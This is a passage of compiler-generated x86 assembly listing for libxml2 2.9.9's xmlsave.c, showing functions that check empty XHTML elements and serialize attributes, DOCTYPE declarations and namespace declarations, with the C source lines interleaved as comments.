$LN4@xhtmlIsEmp:
; 1269 : if (node->type != XML_ELEMENT_NODE)
cmp DWORD PTR [esi+4], 1
jne $LN2@xhtmlIsEmp
; 1270 : return(0);
; 1271 : if ((node->ns != NULL) && (!xmlStrEqual(node->ns->href, XHTML_NS_NAME)))
mov eax, DWORD PTR [esi+36]
test eax, eax
je SHORT $LN6@xhtmlIsEmp
push OFFSET ??_C@_0BN@BMFLMPPL@http?3?1?1www?4w3?4org?11999?1xhtml@
push DWORD PTR [eax+8]
call _xmlStrEqual
add esp, 8
test eax, eax
je $LN2@xhtmlIsEmp
$LN6@xhtmlIsEmp:
; 1272 : return(0);
; 1273 : if (node->children != NULL)
cmp DWORD PTR [esi+12], 0
jne $LN2@xhtmlIsEmp
; 1274 : return(0);
; 1275 : switch (node->name[0]) {
mov ecx, DWORD PTR [esi+8]
movzx eax, BYTE PTR [ecx]
add eax, -97 ; ffffff9fH
cmp eax, 15 ; 0000000fH
ja $LN2@xhtmlIsEmp
jmp DWORD PTR $LN36@xhtmlIsEmp[eax*4]
$LN8@xhtmlIsEmp:
; 1276 : case 'a':
; 1277 : if (xmlStrEqual(node->name, BAD_CAST "area"))
push OFFSET ??_C@_04GOEDGNCF@area@
jmp $LN33@xhtmlIsEmp
$LN10@xhtmlIsEmp:
; 1278 : return(1);
; 1279 : return(0);
; 1280 : case 'b':
; 1281 : if (xmlStrEqual(node->name, BAD_CAST "br"))
push OFFSET ??_C@_02FGOECCNH@br@
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne $LN31@xhtmlIsEmp
; 1282 : return(1);
; 1283 : if (xmlStrEqual(node->name, BAD_CAST "base"))
push OFFSET ??_C@_04BHIIPFEC@base@
push DWORD PTR [esi+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN31@xhtmlIsEmp
; 1284 : return(1);
; 1285 : if (xmlStrEqual(node->name, BAD_CAST "basefont"))
push OFFSET ??_C@_08IOLGIJGJ@basefont@
push DWORD PTR [esi+8]
jmp SHORT $LN34@xhtmlIsEmp
$LN14@xhtmlIsEmp:
; 1286 : return(1);
; 1287 : return(0);
; 1288 : case 'c':
; 1289 : if (xmlStrEqual(node->name, BAD_CAST "col"))
push OFFSET ??_C@_03HNOLNALI@col@
jmp SHORT $LN33@xhtmlIsEmp
$LN16@xhtmlIsEmp:
; 1290 : return(1);
; 1291 : return(0);
; 1292 : case 'f':
; 1293 : if (xmlStrEqual(node->name, BAD_CAST "frame"))
push OFFSET ??_C@_05MIJNFGED@frame@
jmp SHORT $LN33@xhtmlIsEmp
$LN18@xhtmlIsEmp:
; 1294 : return(1);
; 1295 : return(0);
; 1296 : case 'h':
; 1297 : if (xmlStrEqual(node->name, BAD_CAST "hr"))
push OFFSET ??_C@_02FLHDKHAB@hr@
jmp SHORT $LN33@xhtmlIsEmp
$LN20@xhtmlIsEmp:
; 1298 : return(1);
; 1299 : return(0);
; 1300 : case 'i':
; 1301 : if (xmlStrEqual(node->name, BAD_CAST "img"))
push OFFSET ??_C@_03PCCGDNHJ@img@
push ecx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN31@xhtmlIsEmp
; 1302 : return(1);
; 1303 : if (xmlStrEqual(node->name, BAD_CAST "input"))
push OFFSET ??_C@_05DFJCHPDH@input@
push DWORD PTR [esi+8]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN31@xhtmlIsEmp
; 1304 : return(1);
; 1305 : if (xmlStrEqual(node->name, BAD_CAST "isindex"))
push OFFSET ??_C@_07JMLOFMGP@isindex@
push DWORD PTR [esi+8]
jmp SHORT $LN34@xhtmlIsEmp
$LN24@xhtmlIsEmp:
; 1306 : return(1);
; 1307 : return(0);
; 1308 : case 'l':
; 1309 : if (xmlStrEqual(node->name, BAD_CAST "link"))
push OFFSET ??_C@_04OHHBHOGB@link@
jmp SHORT $LN33@xhtmlIsEmp
$LN26@xhtmlIsEmp:
; 1310 : return(1);
; 1311 : return(0);
; 1312 : case 'm':
; 1313 : if (xmlStrEqual(node->name, BAD_CAST "meta"))
push OFFSET ??_C@_04HLJJCGEF@meta@
jmp SHORT $LN33@xhtmlIsEmp
$LN28@xhtmlIsEmp:
; 1314 : return(1);
; 1315 : return(0);
; 1316 : case 'p':
; 1317 : if (xmlStrEqual(node->name, BAD_CAST "param"))
push OFFSET ??_C@_05LJDNNBIK@param@
$LN33@xhtmlIsEmp:
; 1318 : return(1);
push ecx
$LN34@xhtmlIsEmp:
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN2@xhtmlIsEmp
$LN31@xhtmlIsEmp:
mov eax, 1
pop esi
; 1322 : }
pop ebp
ret 0
$LN2@xhtmlIsEmp:
; 1319 : return(0);
; 1320 : }
; 1321 : return(0);
xor eax, eax
pop esi
; 1322 : }
pop ebp
ret 0
npad 1
$LN36@xhtmlIsEmp:
DD $LN8@xhtmlIsEmp
DD $LN10@xhtmlIsEmp
DD $LN14@xhtmlIsEmp
DD $LN2@xhtmlIsEmp
DD $LN2@xhtmlIsEmp
DD $LN16@xhtmlIsEmp
DD $LN2@xhtmlIsEmp
DD $LN18@xhtmlIsEmp
DD $LN20@xhtmlIsEmp
DD $LN2@xhtmlIsEmp
DD $LN2@xhtmlIsEmp
DD $LN24@xhtmlIsEmp
DD $LN26@xhtmlIsEmp
DD $LN2@xhtmlIsEmp
DD $LN2@xhtmlIsEmp
DD $LN28@xhtmlIsEmp
_xhtmlIsEmpty ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _htmlNodeDumpOutputInternal
_TEXT SEGMENT
_oldctxtenc$1$ = -12 ; size = 4
_switched_encoding$1$ = -8 ; size = 4
_buf$1$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_htmlNodeDumpOutputInternal PROC ; COMDAT
; 841 : htmlNodeDumpOutputInternal(xmlSaveCtxtPtr ctxt, xmlNodePtr cur) {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
push ebx
push esi
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _ctxt$[ebp]
xor ebx, ebx
mov DWORD PTR _switched_encoding$1$[ebp], ebx
mov ecx, DWORD PTR [eax+16]
mov edi, ecx
mov eax, DWORD PTR [eax+24]
mov DWORD PTR _oldctxtenc$1$[ebp], ecx
mov DWORD PTR _buf$1$[ebp], eax
call _xmlInitParser
mov esi, DWORD PTR _cur$[ebp]
mov esi, DWORD PTR [esi+32]
test esi, esi
je SHORT $LN5@htmlNodeDu
; 842 : const xmlChar *oldenc = NULL;
; 843 : const xmlChar *oldctxtenc = ctxt->encoding;
; 844 : const xmlChar *encoding = ctxt->encoding;
; 845 : xmlOutputBufferPtr buf = ctxt->buf;
; 846 : int switched_encoding = 0;
; 847 : xmlDocPtr doc;
; 848 :
; 849 : xmlInitParser();
; 850 :
; 851 : doc = cur->doc;
; 852 : if (doc != NULL) {
; 853 : oldenc = doc->encoding;
mov eax, DWORD PTR _ctxt$[ebp]
mov ebx, DWORD PTR [esi+60]
; 854 : if (ctxt->encoding != NULL) {
mov eax, DWORD PTR [eax+16]
test eax, eax
je SHORT $LN3@htmlNodeDu
; 855 : doc->encoding = BAD_CAST ctxt->encoding;
mov DWORD PTR [esi+60], eax
jmp SHORT $LN5@htmlNodeDu
$LN3@htmlNodeDu:
; 856 : } else if (doc->encoding != NULL) {
test ebx, ebx
cmovne edi, ebx
$LN5@htmlNodeDu:
; 857 : encoding = doc->encoding;
; 858 : }
; 859 : }
; 860 :
; 861 : if ((encoding != NULL) && (doc != NULL))
test edi, edi
je SHORT $LN16@htmlNodeDu
test esi, esi
je SHORT $LN8@htmlNodeDu
; 862 : htmlSetMetaEncoding(doc, (const xmlChar *) encoding);
push edi
push esi
call _htmlSetMetaEncoding
add esp, 8
; 863 : if ((encoding == NULL) && (doc != NULL))
jmp SHORT $LN8@htmlNodeDu
$LN16@htmlNodeDu:
test esi, esi
je SHORT $LN17@htmlNodeDu
; 864 : encoding = htmlGetMetaEncoding(doc);
push esi
call _htmlGetMetaEncoding
mov edi, eax
add esp, 4
; 865 : if (encoding == NULL)
test edi, edi
jne SHORT $LN8@htmlNodeDu
$LN17@htmlNodeDu:
; 866 : encoding = BAD_CAST "HTML";
mov edi, OFFSET ??_C@_04DBLPJNAF@HTML@
$LN8@htmlNodeDu:
; 867 : if ((encoding != NULL) && (oldctxtenc == NULL) &&
; 868 : (buf->encoder == NULL) && (buf->conv == NULL)) {
cmp DWORD PTR _oldctxtenc$1$[ebp], 0
jne SHORT $LN9@htmlNodeDu
mov eax, DWORD PTR _buf$1$[ebp]
cmp DWORD PTR [eax+12], 0
jne SHORT $LN9@htmlNodeDu
cmp DWORD PTR [eax+20], 0
jne SHORT $LN9@htmlNodeDu
; 869 : if (xmlSaveSwitchEncoding(ctxt, (const char*) encoding) < 0) {
push edi
push DWORD PTR _ctxt$[ebp]
call _xmlSaveSwitchEncoding
add esp, 8
test eax, eax
jns SHORT $LN10@htmlNodeDu
; 870 : doc->encoding = oldenc;
pop edi
mov DWORD PTR [esi+60], ebx
; 871 : return(-1);
or eax, -1
; 889 : return(0);
; 890 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN10@htmlNodeDu:
; 872 : }
; 873 : switched_encoding = 1;
mov DWORD PTR _switched_encoding$1$[ebp], 1
$LN9@htmlNodeDu:
; 874 : }
; 875 : if (ctxt->options & XML_SAVE_FORMAT)
mov eax, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [eax+32]
and eax, 1
; 876 : htmlNodeDumpFormatOutput(buf, doc, cur,
; 877 : (const char *)encoding, 1);
; 878 : else
; 879 : htmlNodeDumpFormatOutput(buf, doc, cur,
; 880 : (const char *)encoding, 0);
; 881 : /*
; 882 : * Restore the state of the saving context at the end of the document
; 883 : */
; 884 : if ((switched_encoding) && (oldctxtenc == NULL)) {
push eax
push edi
push DWORD PTR _cur$[ebp]
push esi
push DWORD PTR _buf$1$[ebp]
call _htmlNodeDumpFormatOutput
add esp, 20 ; 00000014H
cmp DWORD PTR _switched_encoding$1$[ebp], 0
je SHORT $LN13@htmlNodeDu
cmp DWORD PTR _oldctxtenc$1$[ebp], 0
jne SHORT $LN13@htmlNodeDu
; 885 : xmlSaveClearEncoding(ctxt);
push DWORD PTR _ctxt$[ebp]
call _xmlSaveClearEncoding
add esp, 4
$LN13@htmlNodeDu:
; 886 : }
; 887 : if (doc != NULL)
test esi, esi
je SHORT $LN14@htmlNodeDu
; 888 : doc->encoding = oldenc;
mov DWORD PTR [esi+60], ebx
$LN14@htmlNodeDu:
pop edi
; 889 : return(0);
; 890 : }
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0
_htmlNodeDumpOutputInternal ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlAttrListDumpOutput
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlAttrListDumpOutput PROC ; COMDAT
; 794 : xmlAttrListDumpOutput(xmlSaveCtxtPtr ctxt, xmlAttrPtr cur) {
push ebp
mov ebp, esp
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _cur$[ebp]
test edi, edi
je $LN3@xmlAttrLis
push ebx
mov ebx, DWORD PTR _ctxt$[ebp]
push esi
$LN18@xmlAttrLis:
; 768 : buf = ctxt->buf;
mov esi, DWORD PTR [ebx+24]
; 769 : if (buf == NULL) return;
test esi, esi
je SHORT $LN6@xmlAttrLis
; 770 : if (ctxt->format == 2)
cmp DWORD PTR [ebx+40], 2
jne SHORT $LN9@xmlAttrLis
; 771 : xmlOutputBufferWriteWSNonSig(ctxt, 2);
push 2
push ebx
call _xmlOutputBufferWriteWSNonSig
add esp, 8
jmp SHORT $LN10@xmlAttrLis
$LN9@xmlAttrLis:
; 772 : else
; 773 : xmlOutputBufferWrite(buf, 1, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push 1
push esi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN10@xmlAttrLis:
; 774 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov eax, DWORD PTR [edi+36]
test eax, eax
je SHORT $LN11@xmlAttrLis
mov eax, DWORD PTR [eax+12]
test eax, eax
je SHORT $LN11@xmlAttrLis
; 775 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
push eax
push esi
call _xmlOutputBufferWriteString
; 776 : xmlOutputBufferWrite(buf, 1, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push 1
push esi
call _xmlOutputBufferWrite
add esp, 20 ; 00000014H
$LN11@xmlAttrLis:
; 777 : }
; 778 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
push DWORD PTR [edi+8]
push esi
call _xmlOutputBufferWriteString
; 779 : xmlOutputBufferWrite(buf, 2, "=\"");
push OFFSET ??_C@_02ILLPBGAO@?$DN?$CC@
push 2
push esi
call _xmlOutputBufferWrite
; 780 : xmlAttrSerializeContent(buf, cur);
push edi
push esi
call _xmlAttrSerializeContent
; 781 : xmlOutputBufferWrite(buf, 1, "\"");
push OFFSET ??_C@_01BJJEKLCA@?$CC@
push 1
push esi
call _xmlOutputBufferWrite
add esp, 40 ; 00000028H
$LN6@xmlAttrLis:
; 795 : if (cur == NULL) return;
; 796 : while (cur != NULL) {
; 797 : xmlAttrDumpOutput(ctxt, cur);
; 798 : cur = cur->next;
mov edi, DWORD PTR [edi+24]
test edi, edi
jne $LN18@xmlAttrLis
pop esi
pop ebx
$LN3@xmlAttrLis:
pop edi
; 799 : }
; 800 : }
pop ebp
ret 0
_xmlAttrListDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlAttrDumpOutput
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlAttrDumpOutput PROC ; COMDAT
; 764 : xmlAttrDumpOutput(xmlSaveCtxtPtr ctxt, xmlAttrPtr cur) {
push ebp
mov ebp, esp
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _cur$[ebp]
test edi, edi
je $LN1@xmlAttrDum
; 765 : xmlOutputBufferPtr buf;
; 766 :
; 767 : if (cur == NULL) return;
; 768 : buf = ctxt->buf;
mov eax, DWORD PTR _ctxt$[ebp]
push esi
mov esi, DWORD PTR [eax+24]
; 769 : if (buf == NULL) return;
test esi, esi
je SHORT $LN8@xmlAttrDum
; 770 : if (ctxt->format == 2)
cmp DWORD PTR [eax+40], 2
jne SHORT $LN4@xmlAttrDum
; 771 : xmlOutputBufferWriteWSNonSig(ctxt, 2);
push 2
push eax
call _xmlOutputBufferWriteWSNonSig
add esp, 8
jmp SHORT $LN5@xmlAttrDum
$LN4@xmlAttrDum:
; 772 : else
; 773 : xmlOutputBufferWrite(buf, 1, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push 1
push esi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN5@xmlAttrDum:
; 774 : if ((cur->ns != NULL) && (cur->ns->prefix != NULL)) {
mov eax, DWORD PTR [edi+36]
test eax, eax
je SHORT $LN6@xmlAttrDum
mov eax, DWORD PTR [eax+12]
test eax, eax
je SHORT $LN6@xmlAttrDum
; 775 : xmlOutputBufferWriteString(buf, (const char *)cur->ns->prefix);
push eax
push esi
call _xmlOutputBufferWriteString
; 776 : xmlOutputBufferWrite(buf, 1, ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push 1
push esi
call _xmlOutputBufferWrite
add esp, 20 ; 00000014H
$LN6@xmlAttrDum:
; 777 : }
; 778 : xmlOutputBufferWriteString(buf, (const char *)cur->name);
push DWORD PTR [edi+8]
push esi
call _xmlOutputBufferWriteString
; 779 : xmlOutputBufferWrite(buf, 2, "=\"");
push OFFSET ??_C@_02ILLPBGAO@?$DN?$CC@
push 2
push esi
call _xmlOutputBufferWrite
; 780 : xmlAttrSerializeContent(buf, cur);
push edi
push esi
call _xmlAttrSerializeContent
; 781 : xmlOutputBufferWrite(buf, 1, "\"");
push OFFSET ??_C@_01BJJEKLCA@?$CC@
push 1
push esi
call _xmlOutputBufferWrite
add esp, 40 ; 00000028H
$LN8@xmlAttrDum:
pop esi
$LN1@xmlAttrDum:
pop edi
; 782 : }
pop ebp
ret 0
_xmlAttrDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlDtdDumpOutput
_TEXT SEGMENT
_buf$1$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_dtd$ = 12 ; size = 4
_xmlDtdDumpOutput PROC ; COMDAT
; 707 : xmlDtdDumpOutput(xmlSaveCtxtPtr ctxt, xmlDtdPtr dtd) {
push ebp
mov ebp, esp
push ecx
push ebx
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov ebx, DWORD PTR _dtd$[ebp]
test ebx, ebx
je $LN4@xmlDtdDump
; 708 : xmlOutputBufferPtr buf;
; 709 : int format, level;
; 710 : xmlDocPtr doc;
; 711 :
; 712 : if (dtd == NULL) return;
; 713 : if ((ctxt == NULL) || (ctxt->buf == NULL))
mov eax, DWORD PTR _ctxt$[ebp]
test eax, eax
je $LN4@xmlDtdDump
push esi
mov esi, DWORD PTR [eax+24]
mov DWORD PTR _buf$1$[ebp], esi
test esi, esi
je $LN15@xmlDtdDump
; 714 : return;
; 715 : buf = ctxt->buf;
; 716 : xmlOutputBufferWrite(buf, 10, "<!DOCTYPE ");
push OFFSET ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@
push 10 ; 0000000aH
push esi
call _xmlOutputBufferWrite
; 717 : xmlOutputBufferWriteString(buf, (const char *)dtd->name);
push DWORD PTR [ebx+8]
push esi
call _xmlOutputBufferWriteString
add esp, 20 ; 00000014H
; 718 : if (dtd->ExternalID != NULL) {
cmp DWORD PTR [ebx+52], 0
je SHORT $LN5@xmlDtdDump
; 719 : xmlOutputBufferWrite(buf, 8, " PUBLIC ");
push OFFSET ??_C@_08GBBLECIH@?5PUBLIC?5@
push 8
push esi
call _xmlOutputBufferWrite
; 720 : xmlBufWriteQuotedString(buf->buffer, dtd->ExternalID);
push DWORD PTR [ebx+52]
push DWORD PTR [esi+16]
call _xmlBufWriteQuotedString
; 721 : xmlOutputBufferWrite(buf, 1, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push 1
push esi
call _xmlOutputBufferWrite
; 722 : xmlBufWriteQuotedString(buf->buffer, dtd->SystemID);
push DWORD PTR [ebx+56]
push DWORD PTR [esi+16]
call _xmlBufWriteQuotedString
add esp, 40 ; 00000028H
jmp SHORT $LN7@xmlDtdDump
$LN5@xmlDtdDump:
; 723 : } else if (dtd->SystemID != NULL) {
cmp DWORD PTR [ebx+56], 0
je SHORT $LN7@xmlDtdDump
; 724 : xmlOutputBufferWrite(buf, 8, " SYSTEM ");
push OFFSET ??_C@_08PAGGLANP@?5SYSTEM?5@
push 8
push esi
call _xmlOutputBufferWrite
; 725 : xmlBufWriteQuotedString(buf->buffer, dtd->SystemID);
push DWORD PTR [ebx+56]
push DWORD PTR [esi+16]
call _xmlBufWriteQuotedString
add esp, 20 ; 00000014H
$LN7@xmlDtdDump:
; 726 : }
; 727 : if ((dtd->entities == NULL) && (dtd->elements == NULL) &&
; 728 : (dtd->attributes == NULL) && (dtd->notations == NULL) &&
cmp DWORD PTR [ebx+48], 0
jne SHORT $LN8@xmlDtdDump
cmp DWORD PTR [ebx+40], 0
jne SHORT $LN8@xmlDtdDump
cmp DWORD PTR [ebx+44], 0
jne SHORT $LN8@xmlDtdDump
cmp DWORD PTR [ebx+36], 0
jne SHORT $LN8@xmlDtdDump
cmp DWORD PTR [ebx+60], 0
jne SHORT $LN8@xmlDtdDump
; 729 : (dtd->pentities == NULL)) {
; 730 : xmlOutputBufferWrite(buf, 1, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push 1
push esi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
pop esi
pop ebx
; 754 : }
mov esp, ebp
pop ebp
ret 0
$LN8@xmlDtdDump:
push edi
; 731 : return;
; 732 : }
; 733 : xmlOutputBufferWrite(buf, 3, " [\n");
push OFFSET ??_C@_03OEIPKGAG@?5?$FL?6@
push 3
push esi
call _xmlOutputBufferWrite
; 734 : /*
; 735 : * Dump the notations first they are not in the DTD children list
; 736 : * Do this only on a standalone DTD or on the internal subset though.
; 737 : */
; 738 : if ((dtd->notations != NULL) && ((dtd->doc == NULL) ||
mov edi, DWORD PTR [ebx+36]
add esp, 12 ; 0000000cH
test edi, edi
je SHORT $LN12@xmlDtdDump
mov eax, DWORD PTR [ebx+32]
test eax, eax
je SHORT $LN10@xmlDtdDump
cmp DWORD PTR [eax+44], ebx
jne SHORT $LN12@xmlDtdDump
$LN10@xmlDtdDump:
; 739 : (dtd->doc->intSubset == dtd))) {
; 740 : xmlBufDumpNotationTable(buf->buffer,
mov ebx, DWORD PTR [esi+16]
; 471 : buffer = xmlBufferCreate();
call _xmlBufferCreate
mov esi, eax
; 472 : if (buffer == NULL) {
test esi, esi
je SHORT $LN12@xmlDtdDump
; 473 : /*
; 474 : * TODO set the error in buf
; 475 : */
; 476 : return;
; 477 : }
; 478 : xmlDumpNotationTable(buffer, table);
push edi
push esi
call _xmlDumpNotationTable
; 479 : xmlBufMergeBuffer(buf, buffer);
push esi
push ebx
call _xmlBufMergeBuffer
add esp, 16 ; 00000010H
$LN12@xmlDtdDump:
; 741 : (xmlNotationTablePtr) dtd->notations);
; 742 : }
; 743 : format = ctxt->format;
mov edx, DWORD PTR _ctxt$[ebp]
; 744 : level = ctxt->level;
; 745 : doc = ctxt->doc;
; 746 : ctxt->format = 0;
; 747 : ctxt->level = -1;
; 748 : ctxt->doc = dtd->doc;
mov ecx, DWORD PTR _dtd$[ebp]
mov ebx, DWORD PTR [edx+40]
mov edi, DWORD PTR [edx+36]
mov esi, DWORD PTR [edx+28]
mov DWORD PTR [edx+40], 0
mov DWORD PTR [edx+36], -1
mov eax, DWORD PTR [ecx+32]
mov DWORD PTR [edx+28], eax
; 749 : xmlNodeListDumpOutput(ctxt, dtd->children);
push DWORD PTR [ecx+12]
push edx
call _xmlNodeListDumpOutput
; 750 : ctxt->format = format;
mov eax, DWORD PTR _ctxt$[ebp]
; 751 : ctxt->level = level;
; 752 : ctxt->doc = doc;
; 753 : xmlOutputBufferWrite(buf, 2, "]>");
push OFFSET ??_C@_02CFBPIAHD@?$FN?$DO@
push 2
push DWORD PTR _buf$1$[ebp]
mov DWORD PTR [eax+40], ebx
mov DWORD PTR [eax+36], edi
mov DWORD PTR [eax+28], esi
call _xmlOutputBufferWrite
add esp, 20 ; 00000014H
pop edi
$LN15@xmlDtdDump:
pop esi
$LN4@xmlDtdDump:
pop ebx
; 754 : }
mov esp, ebp
pop ebp
ret 0
_xmlDtdDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlNsListDumpOutputCtxt
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlNsListDumpOutputCtxt PROC ; COMDAT
; 676 : xmlNsListDumpOutputCtxt(xmlSaveCtxtPtr ctxt, xmlNsPtr cur) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _cur$[ebp]
test esi, esi
je $LN3@xmlNsListD
push ebx
mov ebx, DWORD PTR _ctxt$[ebp]
push edi
npad 2
$LL2@xmlNsListD:
; 677 : while (cur != NULL) {
; 678 : xmlNsDumpOutput(ctxt->buf, cur, ctxt);
mov edi, DWORD PTR [ebx+24]
; 633 : if ((cur == NULL) || (buf == NULL)) return;
test esi, esi
je $LN7@xmlNsListD
test edi, edi
je $LN7@xmlNsListD
; 634 : if ((cur->type == XML_LOCAL_NAMESPACE) && (cur->href != NULL)) {
cmp DWORD PTR [esi+4], 18 ; 00000012H
jne $LN7@xmlNsListD
cmp DWORD PTR [esi+8], 0
je $LN7@xmlNsListD
; 635 : if (xmlStrEqual(cur->prefix, BAD_CAST "xml"))
push OFFSET ??_C@_03PJHHNEEI@xml@
push DWORD PTR [esi+12]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN7@xmlNsListD
; 636 : return;
; 637 :
; 638 : if (ctxt != NULL && ctxt->format == 2)
cmp DWORD PTR [ebx+40], 2
jne SHORT $LN10@xmlNsListD
; 639 : xmlOutputBufferWriteWSNonSig(ctxt, 2);
push 2
push ebx
call _xmlOutputBufferWriteWSNonSig
add esp, 8
jmp SHORT $LN11@xmlNsListD
$LN10@xmlNsListD:
; 640 : else
; 641 : xmlOutputBufferWrite(buf, 1, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN11@xmlNsListD:
; 642 :
; 643 : /* Within the context of an element attributes */
; 644 : if (cur->prefix != NULL) {
cmp DWORD PTR [esi+12], 0
je SHORT $LN12@xmlNsListD
; 645 : xmlOutputBufferWrite(buf, 6, "xmlns:");
push OFFSET ??_C@_06PNFLLAEF@xmlns?3@
push 6
push edi
call _xmlOutputBufferWrite
; 646 : xmlOutputBufferWriteString(buf, (const char *)cur->prefix);
push DWORD PTR [esi+12]
push edi
call _xmlOutputBufferWriteString
add esp, 20 ; 00000014H
; 647 : } else
jmp SHORT $LN13@xmlNsListD
$LN12@xmlNsListD:
; 648 : xmlOutputBufferWrite(buf, 5, "xmlns");
push OFFSET ??_C@_05PPEFOGKI@xmlns@
push 5
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN13@xmlNsListD:
; 649 : xmlOutputBufferWrite(buf, 1, "=");
push OFFSET ??_C@_01NEMOKFLO@?$DN@
push 1
push edi
call _xmlOutputBufferWrite
; 650 : xmlBufWriteQuotedString(buf->buffer, cur->href);
push DWORD PTR [esi+8]
push DWORD PTR [edi+16]
call _xmlBufWriteQuotedString
add esp, 20 ; 00000014H
$LN7@xmlNsListD:
; 679 : cur = cur->next;
mov esi, DWORD PTR [esi]
test esi, esi
jne $LL2@xmlNsListD
pop edi
pop ebx
$LN3@xmlNsListD:
pop esi
; 680 : }
; 681 : }
pop ebp
ret 0
_xmlNsListDumpOutputCtxt ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlNsDumpOutputCtxt
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlNsDumpOutputCtxt PROC ; COMDAT
; 663 : xmlNsDumpOutputCtxt(xmlSaveCtxtPtr ctxt, xmlNsPtr cur) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _ctxt$[ebp]
push eax
push DWORD PTR _cur$[ebp]
push DWORD PTR [eax+24]
call _xmlNsDumpOutput
add esp, 12 ; 0000000cH
; 664 : xmlNsDumpOutput(ctxt->buf, cur, ctxt);
; 665 : }
pop ebp
ret 0
_xmlNsDumpOutputCtxt ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlNsDumpOutput
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_ctxt$ = 16 ; size = 4
_xmlNsDumpOutput PROC ; COMDAT
; 632 : xmlNsDumpOutput(xmlOutputBufferPtr buf, xmlNsPtr cur, xmlSaveCtxtPtr ctxt) {
push ebp
mov ebp, esp
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _cur$[ebp]
test edi, edi
je $LN3@xmlNsDumpO
; 633 : if ((cur == NULL) || (buf == NULL)) return;
push esi
mov esi, DWORD PTR _buf$[ebp]
test esi, esi
je $LN11@xmlNsDumpO
; 634 : if ((cur->type == XML_LOCAL_NAMESPACE) && (cur->href != NULL)) {
cmp DWORD PTR [edi+4], 18 ; 00000012H
jne $LN11@xmlNsDumpO
cmp DWORD PTR [edi+8], 0
je $LN11@xmlNsDumpO
; 635 : if (xmlStrEqual(cur->prefix, BAD_CAST "xml"))
push OFFSET ??_C@_03PJHHNEEI@xml@
push DWORD PTR [edi+12]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN11@xmlNsDumpO
; 636 : return;
; 637 :
; 638 : if (ctxt != NULL && ctxt->format == 2)
mov eax, DWORD PTR _ctxt$[ebp]
test eax, eax
je SHORT $LN6@xmlNsDumpO
cmp DWORD PTR [eax+40], 2
jne SHORT $LN6@xmlNsDumpO
; 639 : xmlOutputBufferWriteWSNonSig(ctxt, 2);
push 2
push eax
